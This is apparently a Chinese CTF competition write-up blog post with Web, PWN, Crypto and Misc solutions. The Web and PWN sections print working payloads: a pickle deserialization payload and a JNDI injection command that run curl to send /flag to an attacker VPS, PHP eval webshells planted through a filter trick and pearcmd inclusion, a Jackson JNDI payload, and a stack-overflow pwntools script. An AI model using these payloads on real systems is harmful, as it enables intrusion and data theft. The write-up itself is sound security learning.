type
Post
status
Published
date
Oct 25, 2021
slug
2021/2021nitai
summary
好耶😆~ 是 AK !
tags
CTF/AK
CTF比赛
MISC
category
比赛Writeup
icon
password
又和几个“社会”人士一起组队参加了这次比赛
这次 Web 和队友一起 AK了,开心 23333
(想起来以前一个题都做不出来的画面…
部分题目下载链接:
Web
0x1 zerocalc
把能下的都下下来,特别是 package.json,一开始忘了下了晕,然后 snyk 一下扫出两个,感觉是
https://snyk.io/vuln/SNYK-JS-NOTEVIL-608878
因为本地调试直接用safeEval可以利用到nodejs的Function对象,
var code = "function fn() {};var constructorProperty = Object.getOwnPropertyDescriptors(fn.__proto__).constructor;var properties = Object.values(constructorProperty);properties.pop();properties.pop();properties.pop();properties.pop();"console.log(safeEval(code))
不过加了题目的safeEval就是跑到就被拦截
//HACK: esprima doesn't like returns outside functionssrc = parse('function a(){' + src + '}').body[0].body
不知咋绕过
后面不知被哪位大佬改了 flag 位置,就直接捡漏了,

0x2 ezPickle
查看题目源码发现是pickle反序列化的白名单+黑名单机制,并会动态加载其他模块
if module in ['config'] and "__" not in name: return getattr(sys.modules[module], name)
也就是说,只要引入到模块是 config,且不访问模块内置变量即可绕过pickle反序列化限制
config.py 中存在任意代码执行,只要想办法把 notadmin = {“admin”: “no”} 字典值篡改即可
通过编写OPCODE,在 backdoor 执行前修改 config 命名空间的 notadmin 字典值,这里可以借助工具在OPCODE中修改字典的值
notadmin = GLOBAL('config', 'notadmin') notadmin["admin"]="yes"

绕过 admin 限制后,通过 OPCODE调用后门
cconfigbackdoor(S'__import__("os").system("curl http://{VPS_IP}/`cat /flag|base64`")'tR
相应指令解释,其中 . 表示结束
- c:把一个全局对象压入栈
- (:向栈中压入一个MARK标记
- S:实例化一个字符串对象
- t:寻找栈中的第一个MARK,并组合其至栈顶的数据为元组
- R:选择离栈顶的最近的第一个对象作为参数(必须为元组)、第二个对象作为函数,然后调用该函数
POC
import io import sys import pickle import base64 from config import notadmin class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module in ['config'] and "__" not in name: return getattr(sys.modules[module], name) raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name)) def restricted_loads(s): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() payload = b"""cconfig\nnotadmin\np0\n0g0\nS'admin'\nS'yes'\nscconfig backdoor (S'__import__("os").system("curl http://{VPS_IP}/`cat /flag|base64`")' tR.""" print(base64.b64encode(payload)) restricted_loads(payload)
把输出的base64字符串拼接到目标机器GET请求name字段即可,因为无回显,所以外带

0x3 EasyFilter
题目源码
<?php ini_set("open_basedir","./"); if(!isset($_GET['action'])){ highlight_file(__FILE__); die(); } if($_GET['action'] == 'w'){ @mkdir("./files/"); $content = $_GET['c']; $file = bin2hex(random_bytes(5)); file_put_contents("./files/".$file,base64_encode($content)); echo "./files/".$file; }elseif($_GET['action'] == 'r'){ $r = $_GET['r']; $file = "./files/".$r; include("php://filter/resource=$file"); }
读文件可控的就只有
php://filter/resource=$file
,之前刷过相关的题目,印象中 resource=
后是不能加过滤器的,然后队友解出来了,问他他说:发现文件名被识别成过滤器了
这样就好办了,写入 base64 编码过的一句话,通过base64解码过滤器读就行
POC
写入
http://124.70.181.14:32766/?action=w&c=%3C?php%20eval($_GET[%22cmd%22]);?%3E

读取
http://124.70.181.14:32766/?action=r&r=read=convert.base64-decode/../d7376a8618&cmd=system(%27cat%20../../../flag%27);

0x4 Jack-Shiro
这题主要是队友解,一开始我都没想到原来我刷过,然后刷过,又刚好有公网服务器,又刚好服务器上有 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,就做个帮忙拿flag工具人,这里复盘一下,两个题目的差别,以及自己去做的话,思路会怎样吧,然后和队里大佬的差异。有兴趣可以到buu去复现2021红明谷JavaWeb
和2021红明谷 JavaWeb 基本一致,但不同的是,这里没有提示
/login
目录,红明谷是有的不过题目名字有提示,是Shiro,队里大佬说Shiro的默认登陆路径就是这个,直接访问 /login 没啥反应,就返回一个 /json

二话不说,先随便 POST 点JSON数据上去。

POST /json 返回302跳转

记起shiro有个未授权漏洞,有几种绕过姿势,最终锁定CVE-2020-11989
POST /;/json

在结合题目名字,Jack -> Jackson,这里和红明谷也不一样,原题报错是下图这样的,即
xxx.jackson.databind.xxx

然后就很容易联想到去网上搜 jackjson databind 漏洞

除去一些漏洞通告,第一个漏洞分析就是了
Jackson反序列化漏洞(CVE-2020-36188)从通告到POC-安全客 - 安全资讯平台
安全客 - 安全资讯平台
https://www.anquanke.com/post/id/227943
文中最后完整的 payload 是
String payload = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource\",{\"jndiLocation\":\"ldap://127.0.0.1:1389/Exploit\"}]";
根据这个 payload 试试反序列化
["com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"ldap://vps:2233/a"}]

报错,提示这个
com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource
类找不到尝试依次删除类前缀,下面这个就可以
["ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"ldap://vps:2233/a"}]

可以成功返回数据,那应该是这种利用方式了,但为啥要删除类前缀就不是很清楚,估计题目中把这个包名给换了。
队里大佬说各种找payload,随便找一个就能用了,不像我复现红明谷的时候还有个小坑
然后上 JNDI 利用工具 (
关于原理,除了可以参考刚刚安全客的文章,还可以看这篇
即利⽤LDAP Server返回序列化数据触发反序列化。
这里因服务端 jdk 版本过⾼,⽆法加载远程class,所以用 LDAP
在公网服务器上
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

注意,题目描述是有个压缩包,里面放着
pom.xml
的,里面有些是用Spring开发和版本之类的,然后红明谷就没有,只有未授权访问成功在网页的icon上有一片绿色的叶子,提示这是 Spring… 像下图这样
所以我们运行 JNDI,一定要选JDK(写着 SpringBoot 1.2.x+)的,就可以了
然后发现不知为啥Shell反弹不回来,不过没事,既然我们服务端能接收请求,那服务肯定是出网的,尝试通过
curl
外带java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'curl http://vps_ip:2233 -F file=@/flag'

从结果而言就题目考点就 Shiro + Jackson 反序列化,但一条龙下来,还是容易踩坑的,2333
0x5 new_hospital
对于完全黑盒的题目,第一步肯定是信息收集,先目录爆破,爆破出来的很多,但实际有用的就3个(从做出来的结果而言,一开始分析的还挺头疼的)
http://123.60.75.243:32766/old/ http://123.60.75.243:32766/flag.php http://123.60.75.243:32766/feature.php
访问 /flag.php 返回
hacker?
在 feature.php 发现个文件读取,不过被拼接 .js 文件后缀
尝试远程读取进来,可以通过URL特性截断
.js
,但写入为JS代码了,无法解析为PHP代码 http://123.60.75.243:32766/feature.php?&id=http://VPS_IP/in.php%3F%2500

仔细看,发现通过这个文件读取接口会返回一个Cookie

解码发现是刚刚提交的目录,注意文件后缀已经拼接了 .js(待会用到)

后面翻目录爆破出来的,访问 /old/feature.php

发现竟然和我刚刚访问在 /feature.php 提交的一样,开始寻思这是缓存?
是不是 file_get_content + file_put_content 呢?尝试 php filter 过滤器差异化写入无果,突然想到刚刚的Cookie,难道/old是通过Cookie里的目录设置的文件包含的内容?这样刚好可以直接无视 .js 后缀,然后结合目录爆破出来的 flag.php 是不是就能读到什么…
验证一下

0x6 Give_me_your_0day
install.php 608 行有个文件包含
/install.php?config&dbAdapter=[路径]
查到可以用 /usr/local/lib/php/pearcmd.php 利用
很多目录都没有写权限,但是发现/tmp目录可以写
写木马
GET /install.php?config&+-c+/tmp/a.php+-d+man_dir=<?eval($_GET["cmd"]);?>/*+-s+list&dbAdapter=../../../../usr/local/lib/php/pearcmd&&XDEBUG_SESSION_START=PHPSTORM HTTP/1.1 Host: 121.36.229.59:32767 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://121.36.229.59:32767/install.php?config Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: __typecho_lang=zh_CN Connection: close

读flag
GET /install.php?config&dbAdapter=../../../../tmp/a&cmd=system('cat+/flag'); HTTP/1. Host: 121.36.229.59:32767 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://121.36.229.59:32767/install.php?config Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: __typecho_lang=zh_CN Connection: close

PWN
0x1 sonic
ida查看gets函数存在栈溢出,将输入的登录名溢出到RSP 通过ida查看不用登录的地址偏移在0x73a

通过python直接获取远程服务器main地址为0x00005555555547cf

用patternLocOffset.py计算得到偏移量为40



from pwn import * context(os='linux', arch='amd64', log_level='debug') sh = remote('123.60.63.90',6888) payload = 'A'*40+p64(0x000055555555473a) sh.recvuntil('login:') sh.send(payload) sh.interactive()
CRYPTO
0x1 拟态签到题
解压压缩包,flag.txt base64解码得到 flag{GaqY7KtEtrVIX1Q5oP5iEBRCYXEAy8rT}
MISC
每个题都只做了前面一点,后面不太会,@LI 大佬NB~
0x1 WeirdPhoto
一开始1.png 不知道是啥…,突然发现win下是可以打开看的,经典的高度或者宽度被修改了,通过png crc计算出图片原来的宽高
import binascii import struct # 打开图片 crcbp = open("/Users/tari/Downloads/1.png", "rb").read() # 假设原图片大小在 2000x2000以内 for i in range(2000): for j in range(2000): data = crcbp[12:16] + \ struct.pack('>i', i) + struct.pack('>i', j) + crcbp[24:29] crc32 = binascii.crc32(data) & 0xffffffff # 图片当前CRC, 即 0x9e916964 为 CRC, 对应16进制编辑器里 00000010h d-f 和 00000020h 0 if (crc32 == 0x9e916964): print(i, j) print('hex:', hex(i), hex(j))

输入右边的英文 TIEWOFTHSAEOUIITNRBCOSHSTSAN 密码不对
解出压缩包密码:THISISTHEANSWERTOOBSFUCATION

里面一堆图片,但直接把
out
丢进16进制编辑器可以看到一堆 obj,所以猜 是个PDF,修复一下文件头
搜一下 PDF 隐写,发现很多都是用的 wbStego4,下个wbStego4,默认选项解密,然后保存输出为txt,就能得到flag

0x2 bar
官方提示:
- 观察得到字符串在code93在线网站生成的条形码停止字符的前两位字符
- flag内容都是小写英文字母
根据题目名称,得知是一个条形码,然后把 GIF每一帧拼接一下即可,网上找个脚本魔改了一下
https://blog.csdn.net/Cony_14/article/details/102730294
import os from PIL import Image # 工作目录, 会在该目录生成大量临时文件, 尽量新建文件夹运行哈 FILE_ROOT = '/Users/tari/Downloads/gif' # 待处理图片 GIT_PATH = os.path.join(FILE_ROOT, 'output.gif') # GIF每张图片宽度 IMAGE_WIDTH = 20 # GIF每张图片高度 IMAGE_HEIGHT = 100 # 最终输出图片高度, 如果过长可以稍微调节下, 一般 100 足够了 TARGET_HEIGHT = 100 # 输出图片名称 OUTPUT_IMAGE = 'new_im.png' im = Image.open(GIT_PATH) # 打开一个序列文件时,PIL库自动加载第一帧, 保存第一帧到当前目录下 im.save(os.path.join(FILE_ROOT, str(im.tell()) + '.png')) # 计数有多少帧 image_cnt = 1 try: while 1: # 向下一帧移动 im.seek(im.tell() + 1) # 保存下一帧 im.save(os.path.join(FILE_ROOT, str(im.tell()) + '.png')) image_cnt += 1 except EOFError: pass # 创建宽度为image_cnt*IMAGE_WIDTH,高度为100的空白新照片 new_im = Image.new('RGBA', (IMAGE_WIDTH * image_cnt, IMAGE_HEIGHT)) im_list = [] for i in range(0, image_cnt): im_list.append(Image.open(os.path.join(FILE_ROOT, str(i) + '.png'))) width = 0 for im in im_list: # 将各个图片对象im粘贴到新图片上,图片的左上角和右下角坐标分别为width,IMAGE_WIDTH,width+IMAGE_WIDTH,IMAGE_HEIGHT new_im.paste(im, (width, 0, width + IMAGE_WIDTH, IMAGE_HEIGHT)) width = width + IMAGE_WIDTH # 宽度不变, 必要时填充高度 new_im = new_im.resize((width, TARGET_HEIGHT)) # 保存成新文件 new_im.save(os.path.join(FILE_ROOT, OUTPUT_IMAGE)) new_im.show()
这条形码怪怪的感觉

然后发现参考资料:

START是111141,用PS自动生成参考线,把每9位都写出来。可以看到,前面虽然存在一些不是黑白的颜色,但是发现后面也有START标志,不会被前面影响。

前面30个字符就可以整理出来了,是:
F0C62DB973684DBDA896F9C5F6D962
还差两个字符,提示是停止符号的前两个,也就是上面那个check digit
这里可以直接生成一个新的条形码,然后得到两个检查位

对照表格,分别是
W
和space

组合起来就是,
F0C62DB973684DBDA896F9C5F6D962W[space]
整理卡了半天。。。后面跑去问是不是题目错了。。
得到的答复是
小写生成的条码是没有w和空格的
条形码解出来的不是全大写的嘛,标准就是呀
也就是说不是用
F0C62DB973684DBDA896F9C5F6D962
去生成条形码,而是用小写 f0c62db973684dbda896f9c5f6d962
去生成
算了一下发现两个检查位分别是 221121(U) 和 111222(M)
最终flag
flag{f0c62db973684dbda896f9c5f6d962um}